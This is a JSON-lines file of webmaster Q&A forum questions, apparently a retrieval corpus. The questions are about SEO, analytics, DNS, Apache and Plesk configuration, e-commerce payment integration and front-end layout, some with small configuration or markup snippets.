{"id":"5192","title":"What are the pros & cons of web server log analysis over web based analytics like google analytics","text":"What are the advantages of web server log file analysis over web services like google analytics? What are the advantages of google analytics like tools over web server log file analysis?"}
{"id":"59831","title":"Google bots and iframe","text":"Here is the problem: Let say I have `mydomain.com`. The `externaldomain.com\/article\/mydomain` has an `iframe` with `mydomain.com` inside but the `externaldomain.com` _robots.txt_ contains: Disallow: \/article\/ Will Google crawl `mydomain.com` inside the `iframe` at `externaldomain.com\/article\/mydomain` or it will block `mydomain.com`, because `externaldomain.com` _robots.txt_ disallow the folder `\/article`?"}
{"id":"59825","title":"Change Subdomain follow IP Country?","text":"I have something don't know to do it. I want to config domain when the User go to my website, system is catching IP Country of user and auto change my subdomain from www.mysite.com\/index.aspx to www.unitedstate.mysite.com (US Pepople), www.france.mysite.com (France Pepople), www.japan.mysite.com (Japan Pepople).... I want to develop my website on global, change language, currency by catching IP Country of user visit my website. Can i do it and how can i config in IIS? I using private Window Server ASP.Net. Your answer is helpful with me ! Thanks so much."}
{"id":"59829","title":"Site hosted in DREAMHOST, planning to add additional servers or 3rd party webhost to handle huge traffic","text":"Our company site is hosted from a VPS server in Dreamhost. The site is created in Drupal and loaded with a number of Drupal modules. It has a huge page views and unique visitors , although it is already running from a VPS server it is so slow specially during peak times. Any recommendations what should I do? Is it possible to add additional servers or third party webhosting company to help handling the site traffic. If this is possible, what should I do, how should I start. Is Round Robin DNS applicable in Dreamhost, if yes, how, what should I modify?"}
{"id":"33450","title":"Is 322 gigabytes traffic for Partial contents normal?","text":"We have a small community for our university students. There we provide some tutorials and other stuff that may help students to accomplish their task better. The catch is I think our traffic is abnormally high! We only have 2000 visits per day at its best (for the last 3 month we have had something around 1500 visits per day - more info here). Having this said, our monthly traffic has been ranging from 30 Gigabytes for our first month to 70 Gigabytes for the last month and now 322 Gigabytes for the past 16 days of the new month! I checked the awstats figures and found that 98% of this traffic is for partial contents . Now my question are: * Having said all this about our community and its size, is this abnormal? * How can we get more information on the contents being downloaded on our community site? * In case it is abnormal and abusive how can we avoid it?"}
{"id":"45097","title":"Where could I find a list of IP address that belong to paid VPN networks?","text":"I would like to know if there is a list of known IP addresses that belong to paid VPN services, such as HideMyAss or PureVPN. **EDIT** I am looking for this because I am tracking votes by IP address and am getting fraudulent votes through services like HideMyAss or PureVPN."}
{"id":"2879","title":"Authorize.net payment gateway... few questions","text":"I need a good payment gateway for my shop (Drupal Ubercart). I was considering to use Authorize.net... is it available in Europe ? My customer has revenues of 10.000 per week so I'm looking for a professional solution. Could you give me some tip ? thanks"}
{"id":"44327","title":"Very low CTR in google organic results","text":"My webpage is positioned for some phrases, but does not generate much visits. Eg. the most searched phrase had average 5.6 position in google, but the CTR is about 2%. What should I do to improve CTR? I myself, when I look for something, usually open all pages in first page of results automatically, and then read what's in these pages. Do other people do that? Would rich snippets improve situation? Any other means to improve situation? (I don't know if I should provide here my key phrases and webpage, it's in Polish...) EDIT: **This is for organic search results, the page is positioned to be in first 10 results of search, and I'm interested in getting revenue from organic search only. No Adwords.**"}
{"id":"44321","title":"Shall I remove pages for deprecated products?","text":"On our company site we have pages for multiple products. Some of the products become \"deprecated\". These products are of no interest for us because they give no income. Pages for \"deprecated\" products attract relatively high number of visitors (more than the half combined). Keywords for \"deprecated\" and \"not-deprecated\" products have very-very little in common. Is it wise (from SEO perspective) to move all the pages for \"deprecated\" products to other sites? For us it basically doesn't matter what will happen with \"deprecated\" products and pages related to them but we of course don't want to affect other products in any negative way. The whole point of all this is to \"tell\" search engines that our site is more focused on what will left."}
{"id":"44322","title":"two seperate websites but I want one to rank quicker","text":"I want to get a site I've had a while rank quicker, it is http:\/\/socialmediamarketingthailand.com being a social media marketer in Thailand. It's been up a while but I've not had much content on a free template. I also own http:\/\/internetmediathailand.com and this is on page one Google for 'social media marketing bangkok' keyword search. I have since spent a lot of time making http:\/\/socialmediamarketingthailand.com a lot nicer and with new content, and http:\/\/internetmediathailand.com is looking old yet has the ranking. If I redirect Internet media to the newer fresher socialmedia site will I get anywhere quicker?"}
{"id":"3354","title":"How often should one submit a site map to Google for a site similar to this?","text":"How often should one submit a site map to Google for a site similar to this?"}
{"id":"14270","title":"Which current stock mobile browsers support linked phone numbers by default?","text":"The better question is, are there any that currently DO NOT support auto linking of phone numbers by default? Main support for iPhone, Android, BB, Windows Phone, Palm. I'm trying to determine if I should be adding href tags to the phone numbers on multiple client sites (e.g. `<a href=\"tel:+1-800-555-1212\">800-555-1212<\/a>`). The only reason I would be doing such a thing at this point is to allow for backwards mobile (or future) compatibility, however, I'm having a hard time determining if it's worth the time or effort, as these links currently don't do much in a normal browser (FF, IE, Chrome, Safari, etc)."}
{"id":"14276","title":"How do search engines treat domains created out of country codes (e.g bit.ly)","text":"I have a site that has a domain name that is a word created out of a country code (like bit.ly awe.sm favo.rs) My question is how do search engines handle these. For example, would a search on favors return a link to favors given their search criteria? For on site copy, should the domain be used or the underlying word without the dot in it? I'd like to know which would be most optimal to use in site copy for SEO purposes."}
{"id":"54345","title":"SEO for a list of products with filters","text":"I am a wondering if there is a recommended \"best practice\" for a product search SEO. I know to create a dynamic sitemap file that lists links to all products in the site. However, I want to implement a bookmark-able \"advanced search\". Should I let search engines index any of the results? Take the following parameters for a search on a make believe used car website: * **minprice** (minimum price in dollars) * **maxprice** (maximum price in dollars) * **make** (honda, audi, volvo) * **model** (accord, A4, S40) * **minyear** (minimum model year) * **maxyear** (maximum model year) * **minmileage** (minimum mileage) * **maxmileage** (maximum mileage) Given these parameters, there could be an infinite number of search combinations: * Price Between $10,000 and $20,000 * \/search?minprice=10000&maxprice=20000 * Audis with less than 50k miles * \/search?model=audi&maxmileage=50000 * More than 100,000 miles and less than $5,000 * \/search?minmileage=100000&maxprice=5000 * etc. Over time, there may be inbound links to a variety of these types of searches, yet they are all slices of the same data. Should I allow for all of these searches to be indexed?"}
{"id":"54344","title":"Repeat use of Schema \/ Rich Snippets Markup i.e LocalBusiness Data","text":"I am unable to find official wording and I'm hoping that some Rich Snippets\/Schema Guru can give me some insight into proper usage of repeated content when it comes to using markup. I'm building a site that wants to use Schema as the markup type and the owner would like as much usage as possible. The business name, telephone and address will appear on every page now is it valid or even useful to use Rich Snippets on every page where this information is displayed. For example this information appears in the header, and footer of every page of the site and too give you an example of my current markup see below: <body itemscope itemtype=\"http:\/\/schema.org\/LocalBusiness\"> <header> <a itemprop=\"url\" href=\"http:\/\/www.domain.co.uk\/\"> <img itemprop=\"logo\" src=\"image.png\" alt=\"Company Name Logo\" \/> <\/a> <span itemprop=\"telephone\">01202 000 000<\/span> <\/header> <div> This is where the content will go<\/div> <footer> <span itemprop=\"name\">Company Name<\/span> <span itemprop=\"description\"> A small little bit about this company<\/span> <div itemprop=\"address\" itemscope itemtype=\"http:\/\/schema.org\/PostalAddress\"> <span itemprop=\"streetAddress\">Address Goes here<\/span> <span itemprop=\"addressLocality\">Area Here<\/span>, <span itemprop=\"addressRegion\">Region Here<\/span> <\/div> <\/footer> <\/body> !-- Local Business Schema Now Closed --> So as you can see above this information will be displayed on every single page.... Is this valid or bad to repeat usage of this information in schema format..."}
{"id":"14279","title":"Similar URLs for same page","text":"I'm working with a site that uses slightly different URLs for the same content. The sitemap lists the pages as: www.website.com\/webpage.html If you surf through the site the same page is found at: www.website.com\/webpage Without the .html ending. This could get fixed using canonical tags, but is it worth the effort when two URLs are that similar? Would a search engine consider them two different pages?"}
{"id":"44198","title":"Apache Virtual Host different depending on client ip?","text":"What I'm trying to accomplish is: 1. A person, with IP 192.168.1.5 loads my webserver (192.168.1.2) and reaches htdocs\/ 2. Another person, with ip 192.168.1.6 does the same request, and reaches htdocs\/folder\/ If possible, I'd like to stick to port 80 requests only. I'm currently using the setup: <LocationMatch \"\/\"> Order deny,allow Deny from all Allow from ::1 127.0.0.0\/8 localhost 192.168.1.5 ErrorDocument 403 \/error\/XAMPP_FORBIDDEN.html.var <\/LocationMatch> <VirtualHost 192.168.1.2:80> ServerAdmin frederik@*.dk DocumentRoot \"\/XAMPP\/htdocs\/\" ServerName 192.168.1.2 ErrorLog \"logs\/lan-error.log\" CustomLog \"logs\/lan-access.log\" combined <\/VirtualHost> I'd like to allow everyone else to see the folder. And then, depending on the client IP, set another DocumentRoot."}
{"id":"20067","title":"How to get Magento to update order status when PayPal returns IPN message?","text":"When someone checks out in Magento with PayPal, and PayPal flags their payment for review, Magento correctly sets the order status to \"Payment Review\". However, if after a day or two PayPal decides the order is OK, it sends an IPN message to Magento with the proper payment status of \"Pending\" and pending reason of \"authorization\". I can see this IPN message in Magento's paypal logs (and can simulate it with the sandbox), however, when Magento receives this message it does not update its order status. Why not and how can this be fixed? I am using Magento 1.5.1.0."}
{"id":"20061","title":"Gracefully handling a site update","text":"I'm in the process of changing things on one of my sites. As I don't really have a staging environment I'm planning to take the site offline for about a couple of hours. How do I handle this gracefully so that if Google visits I don't get penalized?"}
{"id":"68960","title":"The number of sites on a shared host","text":"I have been looking at a number of shared hosting providers, and I used domaintools.com services to see how many other domains are hosted at a single IP address. I think Hostgator had a high number of domains on one IP address (around 1,300) and DreamHost had a much smaller number - around 40 domains. Should I worry about a high number versus a low number, or is this inconsequential to the performance of the domain, all other things being equal?"}
{"id":"38743","title":"Creating a DNS Server","text":"I want to create a DNS Server (like Google does - 8.8.8.8). I understand that a DNS Server is a Server that gives a IP on being given a hostname, ie. when I ask it what is the IP of google.com, it says \"64.233.160.0\". So, what I want to do is create a similar one that holds records of what translates to what. I thought of this since it looks to be similar to a webserver - ask for a page and it gives back the page. That is, when my machine has the IP xxx.xxx.xxx.xxx and people chose xxx.xxx.xxx.xxx as their Primary DNS Server, then when they ask \"www.google.com\", I sould be able to tell \"64.233.160.0\". So, how do I create this DNS Server that is accessible to everyone in the world ? It would be easier if we have something like EasyPHP which is the analogue to a webserver here."}
{"id":"30248","title":"How to track inbound HTTP traffic using Plesk 10.4.4?","text":"I am running Plesk 10.4.4 on a Debian 6.0 server. The outbound traffic is being tracked but the inbound http traffic seems to be 0 at all times, i.e. looking at the `DomainsTraffic` and `ClientsTraffic` the `http_in` column is always 0. Is this a setting that I have missed? I've had a look and cannot find anything. How do I get Plesk to track the inbound HTTP traffic? I have already made sure that Home > Tools & Settings > Server settings had 'Include in the traffic calculation' set to 'inbound and outbound traffic', yet this does not solve the problem. Apache allows inbound traffic to be logged using `%I` in the log format, is there a way to get Plesk to add the `%I` to the log and then use that in bandwidth calculations?"}
{"id":"51698","title":"Google Analytics HTTP vs HTTPS","text":"I want to use Google Analytics on a website that uses both HTTP and HTTPS that works as explained below: 1. Secure pages accessed through `https:\/\/mydomain.com\/secure\/*` are always on HTTPS. Any access to these pages through HTTP will be redirected to HTTPS. 2. Any other pages will be accessible through both HTTP and HTTPS I have a Google Analytics profile with URL using HTTPS. Will I cover all traffic? Do I need to create another profile using HTTP and how should I apply the other profile?"}
{"id":"30539","title":"Drop down menu for blogger with automatic link update","text":"My mom has a recipe blog in blogger which has many categories \"Cakes\", \"Celebration Day\" etc which are filled with numerous recipe posts. Now I want to organize my blog in a better way and make a drop down menu for all the categories(I already have labels) but I dont want to keep updating the menu whenever I include a new post. I want to have it updated automatically. Is there any way it can be done with CSS or html codes?"}
{"id":"34890","title":"How do I migrate web files from a Plesk 8 installation (on a slaved HDD) to a Plesk 10.4.4 installation?","text":"Due to Plesk 8 being at end of support our host setup a new installation of RHEL and Plesk 10 on a new hard drive. They then slaved the old drive to the new so that we could migrate all our files using SSH. I am having challenges correctly migrating the sub domain files. The path to subdomain root folder in Plesk 10.4.4 is confusing as I don't know where to copy the files to. The path to the files on the slaved drive is `\/mnt\/old-drive\/var\/www\/vhosts\/domain_name.com\/subdomains\/SUBDOMAIN_NAME\/`, meanwhile on the new installation I have `\/var\/www\/vhosts\/SUBDOMAIN_NAME.domain_name.com`. There is an httpdocs folder in the `\/var\/www\/vhosts\/domain_name` folder but none in the `\/var\/www\/vhosts\/SUBDOMAIN_NAME.domain_name.com` folder. Where do I copy my subdomain files to?"}
{"id":"30534","title":"Website restyle, SEO migration plan?","text":"I am currently in a project for one of my biggest clients. We have built a website that will -replace- the old website. When it comes to actual content its is largely the same. However, the presentation of the content has changed drastically. From our point of view much more user-friendly (main reason to update the site). Now, since the sites presentation has changed we have some major changes in: 1. HTML & CSS: To change the presentation of the content 2. URL's: To make them better understandable (301 redirects have been taken care of and are in place) 3. Breadcrumbs: To enhance the navigation (we have made the breadcrumbs match exactly with the url's) 4. Pagination: This was added to enable content browsing 5. Title tags: Added descriptive title tags to the major links and buttons. Basically all user content including meta tags have remained the same. Now since this company is rather successful and 90% of its clients come from Google's organic results I am obliged to take all necessary precautions. People tell me I need a migration plan to prevent the site being hurt in Google, but I have never worked using such a plan... ...So, based on the above. Would you consider a migration plan necessary and what precautions\/actions would you recommend to prevent us being put down in our SERP positions? Many thanks in advance for your answers."}
{"id":"30243","title":"google image sitemap title and caption, which is more important?","text":"here is the document about google image sitemap, But `<image:caption>` and `<image:title>`, which is more important? if i have only one description of this image, which part is better to be put in? I mean put the description in `<image:caption>`, leave `<image:title>` is blank, or put the description in `<image:title>`, leave `<image:caption>` is blank. Another question, if I store image in a third part image cloud server(the image domain is not my main site domain), is it matter to make a `google image sitemap`? such as: <?xml version=\"1.0\" encoding=\"UTF-8\"?> <urlset xmlns=\"http:\/\/www.sitemaps.org\/schemas\/sitemap\/0.9\" xmlns:image=\"http:\/\/www.google.com\/schemas\/sitemap-image\/1.1\"> <url> <loc>http:\/\/www.mydomain.com\/somepage.html<\/loc> <image:image> <image:loc>http:\/\/couldserver.com\/image.jpg<\/image:loc> <\/image:image> <image:title> a pretty car <\/image:title> <\/url> <\/urlset>"}
{"id":"30533","title":"Tumblr blog under subdomain blog.mysite.com - do I still get the benefit?","text":"I've got a Tumblr blog for my main site, I use it more as a proper blog with articles and images, rather than just a tumblog. The blog is mapped to `blog.mydomain.com`. Becuase of the ease of _social_ reposting in Tumblr people often repost my articles (which is great - backlinks!) But all these links go back to my blog and not my main site which is a `mydomain.com` does Google see `blog.mydomain` and `mydomain` as the same \/ linked item and is my main site getting the benefit of these links?"}
{"id":"52170","title":"SEO For Banner Images","text":"I'm working on a site with large banners on the home page under the main menu that rotate. I'm being told that for SEO I need to overlay the text in the banner over the banner image and remove the text from the image itself. Isn't that what alt tags are for or am I ignorant? Is there anything to be gained by this approach? Seems like wasted effort to me. My apologies if this has already been answered elsewhere."}
{"id":"15601","title":"Browser testing - Ideas on how to tackle it efficiently","text":"Browser testing, the bane of any web designers life! Are there any tools and\/or ways in which I can efficiently test different browsers on both Mac and PC? I not only want to test different browsers but also different versions of each browser. My current setup is on a Mac running VirtualBox with Windows Vista installed. This allows me to test both Mac and PC but the complications arise when trying to test different versions of browsers. Any one have any ideas?"}
{"id":"34562","title":"Help Desk Software with user groups and temporary ban function?","text":"Does anyone know any Help Desk Software which allow you to create user groups \/ to mark\/categorize specific users in some way \/ and to to ban specific users\/e-mails (not user groups) for a specific period of time? Kayako? OTRS? simpledesk?... Kayako looks to be very functional but not sure if it has this option. zendesk is also very functional but a SaaS service not a downloadable software. Since the functions that I am saying are very common in forum software, maybe simpledesk could do it since it is based in SMF. Any ideas?"}
{"id":"68800","title":"Managing DNS records for server failover with cname records","text":"I currently have 2 servers with identical files for a number of websites in 2 different locations. One has fast internet access but is regularly offline whereas the other is always on and has slower internet access. They are both on dynamic IPs so I use noip to get an address which then provides the static address for my domain names via a cname entry in the dns table. The domains are managed by 123-reg and getting static IPs isn't an option. Currently, I have to manually change the dns records whenever the faster server is online to offer a faster connection. Obviously this is a time consuming job and with a TTL of 4 hours, a slow process. Is there a way I can either set my dns records to point to both dynamic dns addresses and have it pick an active one (either randomly or with preference going to the faster connection) or have both servers update the same ddns entry again, giving preference to the faster one but allowing the slower one to take over when its not available. Thanks"}
{"id":"57299","title":"Multiple images on one page: best ranking practices","text":"I have several images related to one object and they all should be placed on one web-page. I'd like to know how do I place those images among the page body and its text. I can not do it manually to distribute the images evenly among the page so I'd do the following: APPROACH ONE: I'd place only one image with its corresponding caption text below, alt and title somewhere in the top of the page with all the rest text following this image. All other images should replace the first one by JS- function as the user pressing the corresponding button \"Next\". QUESTION: Will Google (and the rest of search engines) index the images indicated only in JS section of the page? And even if 'yes' will SE's rank them in the same way? I'd bear with it if the first image will be considered as the main and the others as less important. APPROACH TWO: I'd place all images one after another with attribute 'hidden' for all of them except the first one. The caption will be placed in the end of those images bunch and the alt- ant title-tags will be the same for all of the images. QUESTIONS: I can suppose that the last image will be considered as the most important by the SE's as the caption will be most close to it and I don't really like it. Please advise me which approach is better or propose yours. The image search is supposed to be the most important source of traffic so it's very important for me."}
{"id":"18150","title":"html: Should <code> be placed within a paragraph?","text":"Markdown creates output like this: <p>see this example:<\/p> <pre><code>code<\/code><\/pre> Is this correct or should it be: <p>see this example <pre><code>code<\/code><\/pre> <\/p> To me the second one seems correct, since the paragraph and the code example are one unit. What are your thoughts about this? edit: actually I could argue the same about a list (eg \"order any of the following:\") but a list can't be placed withing a paragraph. edit2: to clarify, technically both are correct, as a table based layout is technically possible. But what would you argue is the way that best expresses the intention of the tags given a paragraph like this? Or maybe it doesn't matter? Note that the pre element isn't very relevant here (but included because markdown outputs it too)."}
{"id":"48946","title":"Question regarding duplicate contents","text":"If I create blogs using different blog domains with the same content (own content) and link it with my original website using targeted anchor text, will it harm my SEO of my original website? The original website is genuine and doesn't have any copied contents. I'm using cross-domain canonicalization to some extend, but can't use it in all the articles and blogs. Will the duplicate contents from my own different blogs will hurt my original site just because it links to it?"}
{"id":"34094","title":"View browser usage by location in Google Analytics","text":"Is there a way to separate out browser usage by location in Google Analytics? Like for example, seeing that all traffic from Nevada came from what browsers? Or, selecting a single browser and seeing where all of the traffic came from that used that browser?"}
{"id":"34096","title":"SEO: Make hashtag links look static","text":"So I have a website which displays all my content vertically. (like modern websites often do these days). Thus I can't create static links to each section. I'm currently handling the scrolling with javascript. My navigation looks like this. <ul> <li><a href=\"#services\">Services<\/a><\/li> <li><a href=\"#references\">References<\/a><\/li> <li><a href=\"#blog\">Blog<\/a><\/li> <li><a href=\"#contact\">Contact<\/a><\/li> <\/ul> I also created 301 redirect links with htaccess. E.g. `\/services` which leads to `\/#services`. If I were to use them in my navigation, I'd have to trigger the scrolling with the onpopstate event. Thats not really a problem, but would searchengines accept that kind of setup ? I also created a sitemap and submitted it to google, but the indexing is still pending."}
{"id":"34099","title":"How should I handle search engines auto-correcting the spelling of a site's name?","text":"A client's site and company is called 'Tranin Communications' (Tranin is her last name). It ranks well in searches for her name but rather poorly in searches for the name of her site\/company. I realized that this is largely due to* search engines (Google especially) assuming that the query was misspelled and automatically including results for both 'train communications' and 'communications training'. Both of those queries yield many high-ranking sites that completely drown out hers. Sometimes Google even shows results for 'communications training' _instead_ of 'tranin communications', hiding her site altogether. Is there a way to report an incorrect auto-correction to Google or something I can do to discourage this behavior (e.g. a meta tag)? My searches have come up cold, any suggestions would be appreciated. *I've come to this conclusion because her site ranks very highly when the same queries are put in quotes."}
{"id":"56336","title":"Web Analytics for knowledge base articles","text":"Like most companies, our support team has a help page\/knowledge base available online. We've got Google Analytics setup on the site as a whole and I'd like to start better utilizing the tools available for optimizing the Help pages. However, most of the literature on web analytics focuses on sales and conversions where as in a Support page our goals are quite different. Specifically, we want to reduce incoming support requests. Can anyone advise in the types of things we should be monitoring or where to go for more information?"}
{"id":"38295","title":"How do I get the time (YYYY-MM-DD hh:mm:ss) of my KissMetrics events?","text":"Do I need to make my own tool to get that from s3 json dumps of the raw event data, or can I magick the Reports view to show it somehow instead of just filtering on it?"}
{"id":"67752","title":"Firefox 22+ large font workaround","text":"I'm working on a website and Firefox is displaying it's font extremely large. Chrome and Safari are displaying normal font size. Chrome uses the WebKit rendering engine. Firefox uses the Gecko engine. I've found that you can change font display in Firefox by typing about:config in the firefox address bar and changing the layout.css.devPixelsPerPx value to 1. Although this might work on some systems, I don't want my user to need to do this. How can I make sure that the font is displayed correctly? I've tried adjusting CSS with -moz-font-size and variants but it doesn't work. I really can't change all my text to images, that's just wrong. Is there a specific syntax for this? Or any suggested workaround that would be optimal? Chrome Firefox"}
{"id":"67201","title":"Advertising for google+ followers","text":"Is there a way to advertise with google to specifically increase the number of followers to my google+ page? I got it to work pretty well with facebook and now I'm trying to increase the visibility of my google+ page."}
{"id":"541","title":"How do I ensure that my content is sent via gzip in Apache?","text":"Is there some setting that I can search for in Apache configurations to make sure that all pages, CSS, and JavaScript are sent via gzip? Are they located in different places for different Operating Systems (if so, I am running Debian)."}
{"id":"29973","title":"Does loading and executing external javascript have influence on SEO?","text":"Say I have a script that executes after `DOM Ready`. It loads more resources (like a twitter feed and the like). So, it adds up to the total experience of 'waiting' for the page to load, though it isn't content critical. Does this have (a negative) influence on my Google ranking?"}
{"id":"67208","title":"URL Forward all links from domain without slugs","text":"I have an old site which I no longer use so I decided to redirect the domain to an article from another domain. The old site does not have web hosting anymore which means I had to url forward through my domain registrar (Namecheap) to redirect. I followed this tutorial and succesfully redirected all traffic from `http:\/\/old-site.com` to `http:\/\/new-site.com\/post\/2` But when I try to access `http:\/\/old-site.com\/old-slug\/dead-link` it redirects to `http:\/\/new-site.com\/post\/2\/old-slug\/dead-link` Is there a way to redirect all urls from `http:\/\/old-site.com`, regardless of slugs, to `http:\/\/new-site.com\/post\/2`?"}
{"id":"52304","title":"How do I upgrade the PHP MySQL Library?","text":"My PHP MySQL Library version is out of date with my MySQL Vesion. How do I fix this? Server: CentOS 6.3 Steps Taken: * FRESH machine originally installed with MySQL 5.1 and PHP 5.3 * I uninstalled php and then installed php54w (and most dependancies, including php54w-mysql from webtatic) * I uninstalled mysql and installed mysql55 mysql55-server from webtatic At this point everything is fine but my mysql lib is out of sync (message form phpmyadmin): \"Your PHP MySQL library version 5.1.69 differs from your MySQL server version 5.5.31. This may cause unpredictable behavior.\" Now, I know some people have suggested that this is fine for the most bit, but this will be a production machine and I don't want to assume it will be fine. * I tried removing and re-installing php54w-mysql, didn't work So, how do I upgrade the PHP MySQL Library? Thanks!"}
{"id":"28177","title":"What is a good network for full-page rich ads?","text":"I'm currently developing a website where users will be able to upload content. I would like to be able to show a full-page ad whenever someone tries to view the content. The ad should take up most of the screen, and I should be able to have a \"continue to the content -->\" link at the top. Preferably, I want something like what is currently on Forbes (if you haven't seen it, here: http:\/\/www.forbes.com\/fdc\/welcome.shtml but with an ad in the black area). Of course, the most revenue is the best."}
{"id":"23602","title":"Just bought a domain, setting up a couple server applications for the first time","text":"I recently bought a domain, mainly for website experimentation, game servers and a ventrillo server. I'm running all this from my home computer, and I am using freedns.afraid.org as my dns nameserver. I'm able to host my ventrillo and my game server, however you can access either of them from any of my subdomains. I would like specific programs to only work with specific ports, but I can't seem to find a way to make this happen. So in my Ventrillo subdomain, I try putting in the IP address in the destination as \"MyIPAddress:PortNumber\" , but it says its an invalid IP address. The ddns client I use doesn't have any options to change the ports on the connections either. Am I just missing something here, or is there no way to tie specific server applications to specific ports with a subdomain? I also am curious as to how hosting this domain will affect my pc security. I'm running this on a Windows 7 pc. I know its best to have a stand alone computer for this stuff, but like I said its only experimental and I don't plan on running these more than a couple hours a day, if that. Are there any steps I need to take to increase my security, beyond basic Windows security measures?"}
{"id":"27776","title":"frontend instances VS backend instances","text":"What is the difference between Frontend instances and Backend instances in Google App Engine? What purpose is each good for? I have tried reading some stuff from Developer's Guide and I searched google, but I got mainly pricing issues and no technical difference."}
{"id":"48942","title":"Google Displaying \"Read More\" Rather Than the Page Title for a \"site:\" Search","text":"I am having some trouble with Search Engine Optimization. When I look up \"site:example.com\", the first result is the index page. The third result that pops up says the title is: \"Read More\". I want it to display like the 2nd result does. The 2nd result displays: \"Suma Karandiar, M.A., LCPC - Counselors In Association\" but I can't find any differences between the 2nd page and the first. What am I supposed to do to tell Google that I want a different title than what they are displaying? This is not the same as Title tag different from title appearing in Google? because that question is about Google rewriting titles based on searches. In this case \"Read More\" is the title used for all searches."}
{"id":"51445","title":"Is it possable to see were a t.co link was originaly posted \/ refered from?","text":"We get quite allot of referal traffic from t.co\/ links showing up in Google Analytics, which is great, but with any decent source of traffic its really helpful to be able to see where it was originally refereed to so you can try and recreate \/ capitalise on it. I guess its a shorted twitter link but past that i have no idea were i came from \/ who posted it, i took the link and pasted it into both Google and Twitter search but those both came back with no results, any ideas.. i know with bt.ly you can have link Analytics which is great from a marketing perspective, is there anything similar with t.co ?"}
{"id":"47331","title":"Why are Win7 IE browers running in IE7 mode?","text":"On our site we currently have approx. 50% of our IE7 users running Windows 7. However, Win7 was released with IE8 meaning that something is not right. Based on this, we made the assumption that the modern IE browsers enter IE7 compatibility mode on our site. So we placed the \"X-UA-Compatible=edge\" meta tag on our site in hope to kill off IE7 support. However, after a week, the percentage of IE7 (and IE8) users have gone up for the first time since the start of this year. When looking at the X-UA-Compatible documentation, it is _meant_ to be used for putting your site into an _older_ mode. * Is there any other way to make sure that IE doesn't enter compatibility mode? * Is there something else we need to look for? And yes, we have so many users on our site that we can't kill off IE7 until it goes down under 2% of unique visitors. EDIT: We use `<!doctype html>` EDIT2: We haven't been able to reproduce the compatibility mode in our environments either"}
{"id":"27778","title":"SEO Impact of ASCII Signature in a Webpage","text":"I would like to add an ASCII Art signature (about 4000 characters) in a comment at the top of my webpage with my website link and a small strapline in it. This would give people looking at the source a little treat and let them know who built it. Would there be any impact for SEO in doing this (plus evidence)?"}
{"id":"47335","title":"issue with Domain, DNS and Hosting","text":"I bought domains from GoDaddy. I bought hosting from NFS. I changed my DNS from GD to NFS. Do I require to host DNS on NFS for website to work properly, or can I host DNS back on GD? I am paying for DNS to GoDaddy already. And now NFS is charging me too."}
{"id":"49900","title":"Which word is searched for more in the world, and locally?","text":"I have two words: * fishing * fish I want to know: 1. which word is searched for more in the world, 2. more in Africa 3. more in south africa 4. more in Namibia How do you check this? The search engine I am interested in is Google, but if more search engines can easily be checked, that would be great too."}
{"id":"6569","title":"Can't center a ul with css","text":"Guys I'm trying to center this simple ul here. Any idea on whats wrong ? Css: ul { margin-left: auto; margin-right: auto; } li { display: inline; background-color: gray; color: white; list-style: none; margin: 5px; padding: 5px; } JSP\/HTML: > > <ul> > <li>Login<\/li> > <li>Option2<\/li> > <li>Optino3<\/li> > <\/ul> >"}
{"id":"43116","title":"JMeter: how to asign a single distinct value from CSV Data Set Config to each thread in thread group?","text":"I have to make a load test for a relatively large number of users so I cant really use User Parameters pre-processor to parametrize each thread with custom user data. I've read that I should use CSV Data Set Config instead. However I run into a problem with how JMeter interprets the input of this Config. Example: I have a thread group of 3 threads and Loop Count:10 with one HTTP request sampler with server `www.example.com` and path: `\\${user}`. The csv file (bullet is a single line in file) for CSV Data Set Config to extract the user parameter: * 1 * 2 * 3 * 4 * 5 Expected output is that for thread 1-x the path of the request should be: \\x. So the output file should consist of 10 samples per thread namely: * for thread 1-1 : 10 requests to `www.example.com\\1` * for thread 1-2 : 10 requests to `www.example.com\\2` * for thread 1-3 : 10 requests to `www.example.com\\3` but instead i get requests to each \\1 - \\5 and then to EOF. Does anyone know how to achieve the expected effect with CSV Data Set Config in jmeter 2.9?"}
{"id":"6567","title":"Open source portal suited for enterprise websites","text":"I'm doing some evaluation on Liferay vs JBoss GateIn Looking for community info on which is better suited from points of view of: * Performance * Features OOTB * In-life maintenance I'm looking for **practical views (real-life sites)** or any gotchas you have come across in your own projects. I asked this on prog.se, but been asked to try here. Hope this is on-topic for this site"}
{"id":"15050","title":"Comment system which can integrate with existing website","text":"I need third party commenting system for ASP.Net website, preferably free or pay one time fee for the code. I need the commenting system to be integrate with website login, so that users no need to login again to post comments. I checked Disqus Single sign on(SSO), however it charges monthly fee for SSO. Could you suggest any other alternative?"}
{"id":"35144","title":"Problem with choices.truste.com\/ca","text":"When I was reviewing my own website I keep getting a message Do you want to open or save ca.js from http:\/\/choices.truste.com\/ca I have tried to ban adverts from this domain, but worrying message persists. Any advice on how to deal with this annyoyance greatfully received."}
{"id":"7686","title":"Capitalise first letter of each word good or bad practice?","text":"Is it a good practice to capitalise first letter of each word in string ( page titles, headings, fields labels, button text etc.) ? Is there any articles about this subject excluding basic English grammar rules?"}
{"id":"7682","title":"Am I correctly handling duplicate URLs for my homepage?","text":"I own a Job Search site named www.conservationjobboard.com and have a concern about how the domain is viewed by search engines. The issue is that when the site was first designed, the default page was left as default.php, but the homepage was actually JobBoard.php. To handle this, the default.php page performed a redirect to the JobBoard.php file when www.conservationjobboard.com\/ was requested. The main problem resulted because the redirect was a temporary redirect causing search engines to index conservationjobboard.com\/ and conservationjobboard.com\/JobBoard.php as 2 separate pages. This has since been corrected to use the .htaccess file so that JobBoard.php is now the default file for the root directory eliminating the need for the redirect. Problem is that search engines still show both URL's in search results (one including JobBoard.php and one that ends with \/). Another potential problem is that some of my early backlinks are to conservationjobboard.com\/JobBoard.php while the rest are to conservationjobboard.com The 2 outstanding questions are as follows: 1. Is my domain still being penalized by search engines like Google for having duplicate homepage URL's? 2. Are all of the back links to my homepage being considered as the same now or is the total number of back links being split between the 2 different URL's? If you think there are still issues with how we have this set-up, I was wondering if you could give me advice on what we should do differently. Thanks."}
{"id":"3826","title":"Can you \/should you learn SEO techniques","text":"I know very little about Search engine optimization however from discussions with other I am now unsure where to start. * Are there any books or do these date so quickly that they are obsolete? * Do all website give you misinformation or are there any reliable sources? * Is it just a case of trial and error and in turn experience? * Is it event worth learning the techniques as search engines change their algorithms so regularly? I wonder if it just better to spend the time to ensure you have a regularly updated will written web site with quality content, site map, quality links etc.."}
{"id":"32494","title":"How to convert an HTML tree to PDF?","text":"How to convert an HTML tree (actually this one) to PDF?"}
